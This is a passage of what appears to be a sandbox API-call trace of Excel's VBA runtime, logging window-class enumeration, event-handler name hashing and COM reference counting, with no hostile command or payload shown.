uCmd=0x2) returned 0x1005e [0099.941] GetClassNameA (in: hWnd=0x1005e, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.941] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.941] GetWindowThreadProcessId (in: hWnd=0x1005e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0099.941] GetWindow (hWnd=0x1005e, uCmd=0x2) returned 0x1005c [0099.941] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0099.941] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0099.941] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0099.941] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x20074 [0099.941] GetClassNameA (in: hWnd=0x20074, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0099.941] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0099.941] GetWindowThreadProcessId (in: hWnd=0x20074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0099.941] GetWindow (hWnd=0x20074, uCmd=0x2) returned 0x0 [0099.941] IMalloc:Alloc (This=0x7fefe465380, cb=0x18) returned 0x5963cd0 [0099.941] IMalloc:Free (This=0x7fefe465380, pv=0x5963cd0) [0100.310] _mbscpy_s (in: _Dst=0x20ebc0, _DstSizeInBytes=0x11, _Src=0x5d10546 | out: _Dst=0x20ebc0) returned 0x0 [0100.310] _mbscpy_s (in: _Dst=0x20ebca, _DstSizeInBytes=0x7, _Src=0x20ed70 | out: _Dst=0x20ebca) returned 0x0 [0100.310] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_Change") returned 0x10539f [0103.101] _mbscpy_s (in: _Dst=0x20ebc0, _DstSizeInBytes=0x1a, _Src=0x5d10546 | out: _Dst=0x20ebc0) returned 0x0 [0103.101] _mbscpy_s (in: _Dst=0x20ebca, _DstSizeInBytes=0x10, _Src=0x20ed70 | out: _Dst=0x20ebca) returned 0x0 [0103.101] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0103.102] _mbscpy_s (in: _Dst=0x20df00, _DstSizeInBytes=0x1c, _Src=0x5d10546 | out: _Dst=0x20df00) returned 0x0 [0103.102] _mbscpy_s (in: _Dst=0x20df0a, _DstSizeInBytes=0x12, _Src=0x20e0b0 | out: _Dst=0x20df0a) returned 0x0 [0103.102] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0103.105] strncpy_s (in: _Dst=0x64b6d00, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0103.105] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0103.105] bsearch (_Key=0x1e7f38, _Base=0x66e0fd0, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5cace28) returned 0x0 [0103.105] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0103.105] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0103.106] ITypeLib:GetTypeComp (in: This=0x679bb80, ppTComp=0x1e7fa0 | out: ppTComp=0x1e7fa0*=0x679bb90) returned 0x0 [0103.106] IUnknown:AddRef (This=0x679bb90) returned 0x16 [0103.106] IUnknown:Release (This=0x679bb90) returned 0x15 [0103.106] ITypeLib:GetTypeComp (in: This=0x5a48620, ppTComp=0x1e7fa0 | out: ppTComp=0x1e7fa0*=0x5a48630) returned 0x0 [0103.106] IUnknown:AddRef (This=0x5a48630) returned 0x13 [0103.106] IUnknown:Release (This=0x5a48630) returned 0x12 [0103.106] ITypeLib:GetTypeComp (in: This=0x679c120, ppTComp=0x1e7fa0 | out: ppTComp=0x1e7fa0*=0x679c130) returned 0x0 [0103.107] IUnknown:AddRef (This=0x679c130) returned 0x9 [0103.107] IUnknown:Release (This=0x679c130) returned 0x8 [0103.107] ITypeLib:GetTypeComp (in: This=0x679c6c0, ppTComp=0x1e7fa0 | out: ppTComp=0x1e7fa0*=0x679c6d0) returned 0x0 [0103.107] IUnknown:AddRef (This=0x679c6d0) returned 0x7 [0103.107] IUnknown:Release (This=0x679c6d0) returned 0x6 [0103.107] GetCurrentThreadId () returned 0xa30 [0103.107] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0103.107] GetDesktopWindow () returned 0x10010 [0103.107] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x100b2 [0103.107] GetClassNameA (in: hWnd=0x100b2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0103.107] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0103.107] GetWindowThreadProcessId (in: hWnd=0x100b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0103.107] GetWindow (hWnd=0x100b2, uCmd=0x2) returned 0x100b0 [0103.107] GetClassNameA (in: hWnd=0x100b0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.107] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.107] GetWindowThreadProcessId (in: hWnd=0x100b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0103.107] GetWindow (hWnd=0x100b0, uCmd=0x2) returned 0x10098 [0103.107] GetClassNameA (in: hWnd=0x10098, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.107] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.107] GetWindowThreadProcessId (in: hWnd=0x10098, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0103.107] GetWindow (hWnd=0x10098, uCmd=0x2) returned 0x1009c [0103.107] GetClassNameA (in: hWnd=0x1009c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.107] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.108] GetWindowThreadProcessId (in: hWnd=0x1009c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0103.108] GetWindow (hWnd=0x1009c, uCmd=0x2) returned 0x200a0 [0103.108] GetClassNameA (in: hWnd=0x200a0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.108] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.108] GetWindowThreadProcessId (in: hWnd=0x200a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0103.108] GetWindow (hWnd=0x200a0, uCmd=0x2) returned 0x1007e [0103.108] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.108] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.108] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0103.108] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10094 [0103.108] GetClassNameA (in: hWnd=0x10094, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.108] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.108] GetWindowThreadProcessId (in: hWnd=0x10094, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0103.108] GetWindow (hWnd=0x10094, uCmd=0x2) returned 0x10096 [0103.108] GetClassNameA (in: hWnd=0x10096, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.108] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.108] GetWindowThreadProcessId (in: hWnd=0x10096, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0103.108] GetWindow (hWnd=0x10096, uCmd=0x2) returned 0x10076 [0103.108] GetClassNameA (in: hWnd=0x10076, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0103.108] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0103.108] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0103.108] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10070 [0103.108] GetClassNameA (in: hWnd=0x10070, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0103.108] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0103.108] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0103.108] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x10056 [0103.108] GetClassNameA (in: hWnd=0x10056, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.108] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.108] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0103.108] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1005a [0103.108] GetClassNameA (in: hWnd=0x1005a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0103.108] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0103.108] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0103.108] GetWindow (hWnd=0x1005a, uCmd=0x2) returned 0x10142 [0103.108] GetClassNameA (in: hWnd=0x10142, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ATL:000007FEF32B52C0") returned 20 [0103.108] lstrcmpA (lpString1="ATL:000007FEF32B52C0", lpString2="ThunderRT6Main") returned -1 [0103.109] GetWindowThreadProcessId (in: hWnd=0x10142, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0103.109] GetWindow (hWnd=0x10142, uCmd=0x2) returned 0x1013c [0103.109] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.109] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.109] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0103.109] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x1013a [0103.109] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0103.109] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0103.109] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0103.109] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10112 [0103.109] GetClassNameA (in: hWnd=0x10112, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.109] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.109] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0103.109] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10104 [0103.109] GetClassNameA (in: hWnd=0x10104, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.109] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.109] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0103.109] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x100f2 [0103.109] GetClassNameA (in: hWnd=0x100f2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.109] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.109] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0103.109] GetWindow (hWnd=0x100f2, uCmd=0x2) returned 0x100ca [0103.109] GetClassNameA (in: hWnd=0x100ca, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.109] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.109] GetWindowThreadProcessId (in: hWnd=0x100ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0103.109] GetWindow (hWnd=0x100ca, uCmd=0x2) returned 0x500ba [0103.109] GetClassNameA (in: hWnd=0x500ba, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.109] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.109] GetWindowThreadProcessId (in: hWnd=0x500ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0103.109] GetWindow (hWnd=0x500ba, uCmd=0x2) returned 0x100c2 [0103.109] GetClassNameA (in: hWnd=0x100c2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0103.109] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0103.109] GetWindowThreadProcessId (in: hWnd=0x100c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0103.109] GetWindow (hWnd=0x100c2, uCmd=0x2) returned 0x10236 [0103.109] GetClassNameA (in: hWnd=0x10236, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0103.110] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0103.110] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0103.110] GetWindowLongA (hWnd=0x10236, nIndex=-16) returned -1946157056 [0103.110] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0103.110] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0103.110] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x201ae [0103.110] GetClassNameA (in: hWnd=0x201ae, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.110] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.110] GetWindowThreadProcessId (in: hWnd=0x201ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0103.110] GetWindowLongA (hWnd=0x201ae, nIndex=-16) returned -1946157056 [0103.110] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0103.110] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0103.110] GetWindow (hWnd=0x201ae, uCmd=0x2) returned 0x20262 [0103.110] GetClassNameA (in: hWnd=0x20262, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0103.110] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0103.110] GetWindowThreadProcessId (in: hWnd=0x20262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb84 [0103.110] GetWindow (hWnd=0x20262, uCmd=0x2) returned 0x20270 [0103.110] GetClassNameA (in: hWnd=0x20270, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.110] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.110] GetWindowThreadProcessId (in: hWnd=0x20270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb94 [0103.110] GetWindow (hWnd=0x20270, uCmd=0x2) returned 0x302dc [0103.110] GetClassNameA (in: hWnd=0x302dc, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0103.110] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0103.110] GetWindowThreadProcessId (in: hWnd=0x302dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0103.110] GetWindowLongA (hWnd=0x302dc, nIndex=-16) returned -2080374784 [0103.110] GetWindowLongPtrA (hWnd=0x302dc, nIndex=-6) returned 0x7fee5bf0000 [0103.110] IsWindowEnabled (hWnd=0x302dc) returned 1 [0103.110] GetPropA (hWnd=0x302dc, lpString=0xc131) returned 0x0 [0103.110] SetPropA (hWnd=0x302dc, lpString=0xc131, hData=0x1) returned 1 [0103.110] EnableWindow (hWnd=0x302dc, bEnable=0) returned 0 [0103.110] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0103.110] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0xa, wParam=0x0, lParam=0x0) returned 0x0 [0103.110] GetWindow (hWnd=0x302dc, uCmd=0x2) returned 0x302c2 [0103.110] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0103.110] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0103.110] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0103.111] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned 382664704 [0103.111] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0103.111] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0103.111] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x30242 [0103.111] GetClassNameA (in: hWnd=0x30242, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0103.111] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0103.111] GetWindowThreadProcessId (in: hWnd=0x30242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0103.111] GetWindowLongA (hWnd=0x30242, nIndex=-16) returned -1778384896 [0103.111] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0103.111] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0103.111] GetWindow (hWnd=0x30242, uCmd=0x2) returned 0x40244 [0103.111] GetClassNameA (in: hWnd=0x40244, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0103.111] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0103.111] GetWindowThreadProcessId (in: hWnd=0x40244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0103.111] GetWindowLongA (hWnd=0x40244, nIndex=-16) returned -1778384896 [0103.111] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0103.111] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0103.111] GetWindow (hWnd=0x40244, uCmd=0x2) returned 0x20288 [0103.111] GetClassNameA (in: hWnd=0x20288, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0103.111] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0103.111] GetWindowThreadProcessId (in: hWnd=0x20288, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0103.111] GetWindowLongA (hWnd=0x20288, nIndex=-16) returned -1778384896 [0103.111] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0103.111] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0103.111] GetWindow (hWnd=0x20288, uCmd=0x2) returned 0x20286 [0103.111] GetClassNameA (in: hWnd=0x20286, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0103.111] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0103.111] GetWindowThreadProcessId (in: hWnd=0x20286, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0103.111] GetWindowLongA (hWnd=0x20286, nIndex=-16) returned -1778384896 [0103.111] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0103.111] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0103.111] GetWindow (hWnd=0x20286, uCmd=0x2) returned 0x30252 [0103.111] GetClassNameA (in: hWnd=0x30252, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0103.111] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0103.111] GetWindowThreadProcessId (in: hWnd=0x30252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0103.111] GetWindowLongA (hWnd=0x30252, nIndex=-16) returned 1149272145 [0103.111] GetWindow (hWnd=0x30252, uCmd=0x2) returned 0x102b0 [0103.111] GetClassNameA (in: hWnd=0x102b0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0103.111] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0103.111] GetWindowThreadProcessId (in: hWnd=0x102b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0103.111] GetWindow (hWnd=0x102b0, uCmd=0x2) returned 0x20256 [0103.111] GetClassNameA (in: hWnd=0x20256, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0103.112] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0103.112] GetWindowThreadProcessId (in: hWnd=0x20256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0103.112] GetWindowLongA (hWnd=0x20256, nIndex=-16) returned 213909504 [0103.112] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0103.112] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0103.112] GetWindow (hWnd=0x20256, uCmd=0x2) returned 0x10246 [0103.112] GetClassNameA (in: hWnd=0x10246, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0103.112] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0103.112] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0103.112] GetWindowLongA (hWnd=0x10246, nIndex=-16) returned -2080374784 [0103.112] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0103.112] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0103.112] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x20224 [0103.112] GetClassNameA (in: hWnd=0x20224, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0103.112] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0103.112] GetWindowThreadProcessId (in: hWnd=0x20224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0103.112] GetWindowLongA (hWnd=0x20224, nIndex=-16) returned -2080374784 [0103.112] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0103.112] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0103.112] GetWindow (hWnd=0x20224, uCmd=0x2) returned 0x101ee [0103.112] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0103.112] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0103.112] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0103.112] GetWindowLongA (hWnd=0x101ee, nIndex=-16) returned -2046820352 [0103.112] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0103.112] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0103.112] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101ec [0103.112] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0103.112] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0103.112] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0103.112] GetWindowLongA (hWnd=0x101ec, nIndex=-16) returned -2046820352 [0103.112] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0103.112] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0103.112] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ea [0103.112] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0103.112] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0103.112] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0103.112] GetWindowLongA (hWnd=0x101ea, nIndex=-16) returned -2046820352 [0103.112] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0103.112] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0103.112] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e8 [0103.112] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0103.113] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0103.113] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0103.113] GetWindowLongA (hWnd=0x101e8, nIndex=-16) returned -2046820352 [0103.113] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0103.113] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0103.113] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101c2 [0103.113] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0103.113] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0103.113] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0103.113] GetWindowLongA (hWnd=0x101c2, nIndex=-16) returned 114229248 [0103.113] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0103.113] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0103.113] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x401ba [0103.113] GetClassNameA (in: hWnd=0x401ba, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0103.113] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0103.113] GetWindowThreadProcessId (in: hWnd=0x401ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0103.113] GetWindow (hWnd=0x401ba, uCmd=0x2) returned 0x201b0 [0103.113] GetClassNameA (in: hWnd=0x201b0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ARC Window Class") returned 16 [0103.113] lstrcmpA (lpString1="ARC Window Class", lpString2="ThunderRT6Main") returned -1 [0103.113] GetWindowThreadProcessId (in: hWnd=0x201b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0103.113] GetWindowLongA (hWnd=0x201b0, nIndex=-16) returned -2080374784 [0103.113] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0103.113] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0103.113] GetWindow (hWnd=0x201b0, uCmd=0x2) returned 0x101a8 [0103.113] 